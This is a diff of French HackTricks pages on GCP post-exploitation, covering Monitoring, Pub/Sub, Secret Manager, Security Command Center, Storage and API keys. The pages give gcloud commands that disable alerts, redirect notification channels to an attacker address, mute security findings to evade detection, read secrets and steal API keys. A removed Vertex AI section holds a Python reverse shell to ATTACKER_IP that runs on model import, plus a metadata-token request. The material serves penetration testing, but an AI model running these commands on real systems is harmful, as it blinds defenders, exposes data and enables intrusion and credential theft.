<summary>Perturber le dashboard</summary>
|
||||
```bash
|
||||
# Disrupt dashboard
|
||||
gcloud monitoring dashboards update <dashboard> --config='''
|
||||
@@ -53,16 +69,28 @@ widgets:
|
||||
content: Hello World
|
||||
'''
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.delete`
|
||||
|
||||
Supprimer un tableau de bord :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer le tableau de bord</summary>
|
||||
```bash
|
||||
# Delete dashboard
|
||||
gcloud monitoring dashboards delete <dashboard>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.create`
|
||||
|
||||
Empêcher les politiques de générer des alertes en créant un snoozer :
|
||||
Empêcher les politiques d'alerte de générer des alertes en créant un snoozer :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un snoozer pour arrêter les alertes</summary>
|
||||
```bash
|
||||
# Stop alerts by creating a snoozer
|
||||
gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
@@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
--start-time="2023-03-01T03:00:00.0-0500" \
|
||||
--end-time="2023-03-07T23:59:59.5-0500"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.update`
|
||||
|
||||
Mettez à jour le timing d'un snoozer pour éviter que des alertes ne soient créées lorsque l'attaquant est intéressé :
|
||||
Mettre à jour la planification d'un snoozer pour empêcher la création d'alertes lorsque l'attaquant s'y intéresse :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour la planification du snoozer</summary>
|
||||
```bash
|
||||
# Modify the timing of a snooze
|
||||
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
|
||||
@@ -80,19 +114,33 @@ gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END
|
||||
# odify everything, including affected policies
|
||||
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.delete`
|
||||
|
||||
Supprimer un canal configuré :
|
||||
Supprimer un canal configuré :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer le canal de notification</summary>
|
||||
```bash
|
||||
# Delete channel
|
||||
gcloud alpha monitoring channels delete <channel>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.update`
|
||||
|
||||
Mettre à jour les étiquettes d'un canal pour le perturber :
|
||||
Mettre à jour les libellés d'un canal pour le perturber :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour les libellés du canal de notification</summary>
|
||||
```bash
|
||||
# Delete or update labels, for example email channels have the email indicated here
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+76
-16
@@ -1,4 +1,4 @@
|
||||
# GCP - Pub/Sub Post Exploitation
|
||||
# GCP - Pub/Sub Post-exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,27 +12,45 @@ Pour plus d'informations sur Pub/Sub, consultez la page suivante :
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
Publiez un message dans un sujet, utile pour **envoyer des données inattendues** et déclencher des fonctionnalités inattendues ou exploiter des vulnérabilités :
|
||||
Publier un message dans un topic, utile pour **envoyer des données inattendues** et déclencher des fonctionnalités inattendues ou exploiter des vulnérabilités :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Publier un message dans un topic</summary>
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
Utile pour empêcher une souscription de recevoir des messages, peut-être pour éviter la détection.
|
||||
Utile pour empêcher une subscription de recevoir des messages, peut-être pour éviter d'être détecté.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Détacher la subscription du topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Utile pour empêcher une souscription de recevoir des messages, peut-être pour éviter la détection.\
|
||||
Il est possible de supprimer un sujet même avec des souscriptions qui y sont attachées.
|
||||
Utile pour empêcher une subscription de recevoir des messages, peut-être afin d'éviter la détection.\
|
||||
Il est possible de supprimer un topic même si des subscriptions y sont attachées.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
Utilisez cette autorisation pour mettre à jour certains paramètres du sujet afin de le perturber, comme `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
Utilisez cette permission pour mettre à jour certains paramètres du topic afin de le perturber, comme `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
@@ -40,12 +58,22 @@ Donnez-vous la permission d'effectuer l'une des attaques précédentes.
|
||||
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
Obtenez tous les messages dans un serveur web :
|
||||
Récupérer tous les messages sur un serveur web :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer une push subscription pour recevoir les messages</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
Créez une souscription et utilisez-la pour **extraire des messages** :
|
||||
</details>
|
||||
|
||||
Créez un abonnement et utilisez-le pour **récupérer des messages** :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un abonnement en mode pull et récupérer des messages</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -54,26 +82,44 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
## This command will wait for a message to be posted
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Supprimer une souscription** pourrait être utile pour perturber un système de traitement de journaux ou quelque chose de similaire :
|
||||
**Suppression d'une subscription** pourrait être utile pour perturber un système de traitement des logs ou quelque chose de similaire:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer la subscription</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Utilisez cette autorisation pour mettre à jour certains paramètres afin que les messages soient stockés dans un endroit auquel vous pouvez accéder (URL, table Big Query, Bucket) ou simplement pour le perturber.
|
||||
Utilisez cette permission pour modifier un paramètre afin que les messages soient stockés dans un endroit auquel vous pouvez accéder (URL, Big Query table, Bucket) ou simplement pour le perturber.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour l'endpoint de la subscription</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Donnez-vous les autorisations nécessaires pour effectuer l'une des attaques précédemment commentées.
|
||||
Donnez-vous les permissions nécessaires pour effectuer n'importe laquelle des attaques précédemment mentionnées.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Attaquez un schéma à un sujet afin que les messages ne le remplissent pas et que le sujet soit donc perturbé.\
|
||||
S'il n'y a pas de schémas, vous devrez peut-être en créer un.
|
||||
Attachez un schema à un topic de sorte que les messages ne le respectent pas et que le topic soit ainsi perturbé.\
|
||||
S'il n'y a pas de schema, vous devrez peut-être en créer un.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un fichier de schema et l'attacher au topic</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -98,23 +144,37 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
--schema=projects/<project-name>/schemas/<topic-id> \
|
||||
--message-encoding=json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
Cela peut sembler comme la suppression d'un schéma, vous pourrez envoyer des messages qui ne respectent pas le schéma. Cependant, comme le schéma sera supprimé, aucun message n'entrera réellement dans le sujet. Donc, c'est **INUTILE** :
|
||||
Cela peut sembler qu'en supprimant un schéma vous pourrez envoyer des messages qui ne respectent pas le schéma. Cependant, comme le schéma sera supprimé, aucun message ne sera réellement publié dans le topic. Donc c'est **INUTILE** :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer le schéma (inutile)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Donnez-vous les autorisations nécessaires pour effectuer l'une des attaques précédemment commentées.
|
||||
Accordez-vous les autorisations nécessaires pour réaliser n'importe laquelle des attaques mentionnées précédemment.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
Cela créera un instantané de tous les messages non ACK et les remettra à l'abonnement. Pas très utile pour un attaquant mais le voici :
|
||||
Cela créera un snapshot de tous les messages unACKed et les remettra dans la subscription. Pas très utile pour un attacker mais voici :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un snapshot et s'y positionner</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
|
||||
--snapshot=YOUR_SNAPSHOT_NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+8
-2
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secretmanager
|
||||
|
||||
Pour plus d'informations sur Secret Manager, consultez :
|
||||
For more information about Secret Manager check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,9 +12,15 @@ Pour plus d'informations sur Secret Manager, consultez :
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Cela vous donne accès à lire les secrets du gestionnaire de secrets et cela pourrait peut-être aider à escalader les privilèges (selon les informations stockées à l'intérieur du secret) :
|
||||
Cela vous permet de lire les secrets depuis le Secret Manager et cela peut aider à escalader les privilèges (selon les informations stockées dans le secret) :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Accéder à une version du secret</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+38
-8
@@ -1,4 +1,4 @@
|
||||
# GCP - Sécurité Post Exploitation
|
||||
# GCP - Sécurité post-exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,37 +12,67 @@ Pour plus d'informations, consultez :
|
||||
|
||||
### `securitycenter.muteconfigs.create`
|
||||
|
||||
Prévenir la génération de résultats qui pourraient détecter un attaquant en créant un `muteconfig` :
|
||||
Empêche la génération de findings qui pourraient détecter un attaquant en créant un `muteconfig` :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un Muteconfig</summary>
|
||||
```bash
|
||||
# Create Muteconfig
|
||||
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.muteconfigs.update`
|
||||
|
||||
Empêcher la génération de résultats qui pourraient détecter un attaquant en mettant à jour un `muteconfig`:
|
||||
Empêcher la génération de findings qui pourraient détecter un attaquant en mettant à jour une `muteconfig` :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour Muteconfig</summary>
|
||||
```bash
|
||||
# Update Muteconfig
|
||||
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.bulkMuteUpdate`
|
||||
|
||||
Mettre en sourdine les résultats en fonction d'un filtre :
|
||||
Mettre en sourdine des findings basés sur un filtre :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mise en sourdine en masse basée sur un filtre</summary>
|
||||
```bash
|
||||
# Mute based on a filter
|
||||
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
Une découverte mise en sourdine n'apparaîtra pas dans le tableau de bord SCC et les rapports.
|
||||
</details>
|
||||
|
||||
Un finding mis en sourdine n'apparaîtra pas dans le tableau de bord SCC et les rapports.
|
||||
|
||||
### `securitycenter.findings.setMute`
|
||||
|
||||
Mettre en sourdine les découvertes en fonction de la source, des découvertes...
|
||||
Mettre en sourdine les findings en fonction de la source, findings...
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Définir le finding comme mis en sourdine</summary>
|
||||
```bash
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.update`
|
||||
|
||||
Mettre à jour une découverte pour indiquer des informations erronées :
|
||||
Mettre à jour un finding pour indiquer des informations erronées :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour l'état du finding</summary>
|
||||
```bash
|
||||
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+13
-7
@@ -1,18 +1,22 @@
|
||||
# GCP - Stockage Post Exploitation
|
||||
# GCP - Storage Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Stockage Cloud
|
||||
## Cloud Storage
|
||||
|
||||
Pour plus d'informations sur le Stockage Cloud, consultez cette page :
|
||||
Pour plus d'informations sur Cloud Storage, consultez cette page :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Donner un Accès Public
|
||||
### Give Public Access
|
||||
|
||||
Il est possible de donner aux utilisateurs externes (connectés à GCP ou non) accès au contenu des buckets. Cependant, par défaut, l'option d'exposer publiquement un bucket sera désactivée :
|
||||
Il est possible d'accorder à des utilisateurs externes (connectés à GCP ou non) l'accès au contenu des buckets. Cependant, par défaut, le bucket aura l'option d'exposition publique désactivée :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Rendre le bucket/les objets publics</summary>
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
Si vous essayez de donner **des ACL à un bucket avec des ACL désactivées**, vous rencontrerez cette erreur : `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
</details>
|
||||
|
||||
Pour accéder aux buckets ouverts via le navigateur, accédez à l'URL `https://<bucket_name>.storage.googleapis.com/` ou `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
Si vous essayez d'attribuer des **ACLs à un bucket dont les ACLs sont désactivées** vous obtiendrez cette erreur : `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
Pour accéder aux buckets ouverts depuis un navigateur, utilisez l'URL `https://<bucket_name>.storage.googleapis.com/` ou `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
-113
@@ -1,113 +0,0 @@
|
||||
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scénario
|
||||
|
||||
- Vertex AI Model Garden permet le déploiement direct de nombreux modèles Hugging Face (HF).
|
||||
- HF model identifiers are Author/ModelName. Si un auteur/org sur HF est supprimé, le même nom d'auteur peut être réenregistré par n'importe qui. Les attaquants peuvent alors créer un repo avec le même ModelName au legacy path.
|
||||
- Pipelines, SDKs, or cloud catalogs qui récupèrent uniquement par nom (no pinning/integrity) vont tirer le repo contrôlé par l'attaquant. Quand le modèle est déployé, le loader code de ce repo peut s'exécuter à l'intérieur du conteneur de l'endpoint Vertex AI, aboutissant à une RCE avec les permissions de l'endpoint.
|
||||
|
||||
Two common takeover cases on HF:
|
||||
- Ownership deletion: Old path 404 until someone re-registers the author and publishes the same ModelName.
|
||||
- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attacker’s repo serves at the legacy path.
|
||||
|
||||
## Identifier des namespaces réutilisables (HF)
|
||||
|
||||
- Old author deleted : la page de l'auteur renvoie 404 ; le model path peut renvoyer 404 jusqu'au takeover.
|
||||
- Transferred models : l'ancien model path renvoie 307 vers le nouveau owner tant que l'ancien auteur existe. Si l'ancien auteur est ensuite supprimé et ré-enregistré, le legacy path résoudra vers le repo de l'attaquant.
|
||||
|
||||
Quick checks with curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Flux d'attaque de bout en bout contre Vertex AI
|
||||
|
||||
1) Découvrir des espaces de noms de modèles réutilisables que Model Garden répertorie comme déployables :
|
||||
- Trouver des modèles HF dans Vertex AI Model Garden qui apparaissent encore comme “verified deployable”.
|
||||
- Vérifier sur HF si l'auteur original a été supprimé ou si le modèle a été transféré et que l'ancien auteur a ensuite été retiré.
|
||||
|
||||
2) Réenregistrer l'auteur supprimé sur HF et recréer le même ModelName.
|
||||
|
||||
3) Publier un repo malveillant. Inclure du code qui s'exécute au chargement du modèle. Exemples qui s'exécutent couramment lors du chargement d'un modèle HF :
|
||||
- Effets de bord dans __init__.py du repo
|
||||
- Fichiers modeling_*.py personnalisés ou code de traitement référencé par config/auto_map
|
||||
- Chemins de code qui nécessitent trust_remote_code=True dans les pipelines Transformers
|
||||
|
||||
4) Un déploiement Vertex AI de l'ancien Author/ModelName récupère maintenant le repo de l'attaquant. Le loader s'exécute à l'intérieur du conteneur d'endpoint Vertex AI.
|
||||
|
||||
5) Le payload établit un accès depuis l'environnement de l'endpoint (RCE) avec les permissions de l'endpoint.
|
||||
|
||||
Exemple de fragment de payload exécuté à l'import (à titre démonstratif uniquement) :
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Remarques
|
||||
- Les loaders en conditions réelles varient. De nombreuses intégrations Vertex AI HF clonent et importent des modules de repo référencés par la config du modèle (par ex., auto_map), ce qui peut déclencher l'exécution de code. Certaines utilisations exigent trust_remote_code=True.
|
||||
- L'endpoint s'exécute typiquement dans un container dédié avec un périmètre limité, mais il constitue un point d'appui initial valable pour l'accès aux données et le lateral movement dans GCP.
|
||||
|
||||
## Conseils de post-exploitation (Vertex AI Endpoint)
|
||||
|
||||
Une fois le code en cours d'exécution dans le container de l'endpoint, envisagez :
|
||||
- Énumérer les variables d'environnement et les metadata pour credentials/tokens
|
||||
- Accéder au stockage attaché ou aux artefacts du modèle montés
|
||||
- Interagir avec les Google APIs via l'identité du service account (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Persistance dans l'artefact du modèle si la plateforme re-télécharge le repo
|
||||
|
||||
Énumérer les metadata de l'instance si accessibles (dépend du container) :
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Conseils défensifs pour les utilisateurs de Vertex AI
|
||||
|
||||
- Épingler les modèles par commit dans HF loaders pour empêcher un remplacement silencieux :
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Répliquer les modèles HF vérifiés dans un registre interne d'artefacts de confiance et déployer à partir de là.
|
||||
- Scanner en continu les codebases et les configs à la recherche d'Author/ModelName codés en dur qui sont supprimés/transférés ; mettre à jour vers les nouveaux namespaces ou pin par commit.
|
||||
- Dans Model Garden, vérifier la provenance du modèle et l'existence de l'auteur avant le déploiement.
|
||||
|
||||
## Heuristiques de reconnaissance (HTTP)
|
||||
|
||||
- Auteur supprimé : page de l'auteur 404 ; legacy model path 404 until takeover.
|
||||
- Modèle transféré : legacy path 307 vers le nouvel auteur alors que l'ancien auteur existe ; si l'ancien auteur est ensuite supprimé et ré-enregistré, legacy path sert du contenu de l'attaquant.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Références croisées
|
||||
|
||||
- Voir la méthodologie générale et les notes sur la chaîne d'approvisionnement :
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,64 +4,79 @@
|
||||
|
||||
## Apikeys
|
||||
|
||||
Les autorisations suivantes sont utiles pour créer et voler des clés API, notez ceci des docs : _Une clé API est une simple chaîne cryptée qui **identifie une application sans aucun principal**. Elles sont utiles pour accéder à **des données publiques de manière anonyme**, et sont utilisées pour **associer** les requêtes API à votre projet pour le quota et la **facturation**._
|
||||
Les permissions suivantes sont utiles pour créer et voler des clés API, notez ceci d'après la doc : _Une clé API est une chaîne chiffrée simple qui **identifie une application sans aucun principal**. Elles sont utiles pour accéder **anonymement à des données publiques**, et sont utilisées pour **associer** les requêtes API à votre projet pour le quota et la **facturation**._
|
||||
|
||||
Par conséquent, avec une clé API, vous pouvez faire en sorte que cette entreprise paie pour votre utilisation de l'API, mais vous ne pourrez pas élever vos privilèges.
|
||||
Par conséquent, avec une clé API vous pouvez faire en sorte que l'entreprise paie pour votre utilisation de l'API, mais vous ne pourrez pas obtenir d'élévation de privilèges.
|
||||
|
||||
Pour plus d'informations sur les clés API, consultez :
|
||||
For more information about API Keys check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Pour d'autres façons de créer des clés API, consultez :
|
||||
For other ways to create API keys check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Accès par Brute Force à la clé API <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Comme vous ne savez peut-être pas quelles API sont activées dans le projet ou les restrictions appliquées à la clé API que vous avez trouvée, il serait intéressant d'exécuter l'outil [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) et de vérifier **ce à quoi vous pouvez accéder avec la clé API.**
|
||||
Comme vous pouvez ne pas savoir quelles APIs sont activées dans le projet ou quelles restrictions s'appliquent à la clé API que vous avez trouvée, il peut être intéressant d'exécuter l'outil [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) et vérifier **ce à quoi vous pouvez accéder avec la clé API.**
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Cette autorisation permet de **créer une clé API** :
|
||||
Cette permission permet de **créer une clé API** :
|
||||
|
||||
<details>
|
||||
<summary>Créer une clé API en utilisant gcloud</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]==\"",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez qu'en default, les utilisateurs ont des permissions pour créer de nouveaux projets et ils se voient attribuer le rôle de Propriétaire sur le nouveau projet. Donc, un utilisateur pourrait c**réer un projet et une clé API à l'intérieur de ce projet**.
|
||||
> Notez que, par défaut, les utilisateurs ont la permission de créer de nouveaux projets et se voient attribuer le rôle Owner sur le nouveau projet. Ainsi, un utilisateur pourrait **créer un projet et une API key à l'intérieur de ce projet**.
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
Ces permissions permettent **de lister et d'obtenir toutes les apiKeys et d'obtenir la clé** :
|
||||
Ces permissions permettent de **lister toutes les apiKeys et d'obtenir la Key** :
|
||||
|
||||
<details>
|
||||
<summary>Lister et récupérer toutes les API keys</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
Vous pouvez trouver un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
</details>
|
||||
|
||||
Vous pouvez trouver un script pour automatiser la [**création, exploit et nettoyage d'un vuln environment ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
Ces permissions vous permettent de **lister et de régénérer des clés API supprimées**. La **clé API est donnée dans la sortie** après que l'**undelete** soit effectué :
|
||||
Ces permissions vous permettent de **lister et régénérer les api keys supprimées**. La **API key est donnée dans la sortie** après que l'**undelete** soit effectué :
|
||||
|
||||
<details>
|
||||
<summary>Lister et undelete les api keys</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
### Créer une application OAuth interne pour hameçonner d'autres travailleurs
|
||||
</details>
|
||||
|
||||
### Créer une application OAuth interne pour phish d'autres employés
|
||||
|
||||
Consultez la page suivante pour apprendre comment faire cela, bien que cette action appartienne au service **`clientauthconfig`** [selon la documentation](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
|
||||
+45
-20
@@ -12,26 +12,34 @@ Pour plus d'informations sur App Engine, consultez :
|
||||
|
||||
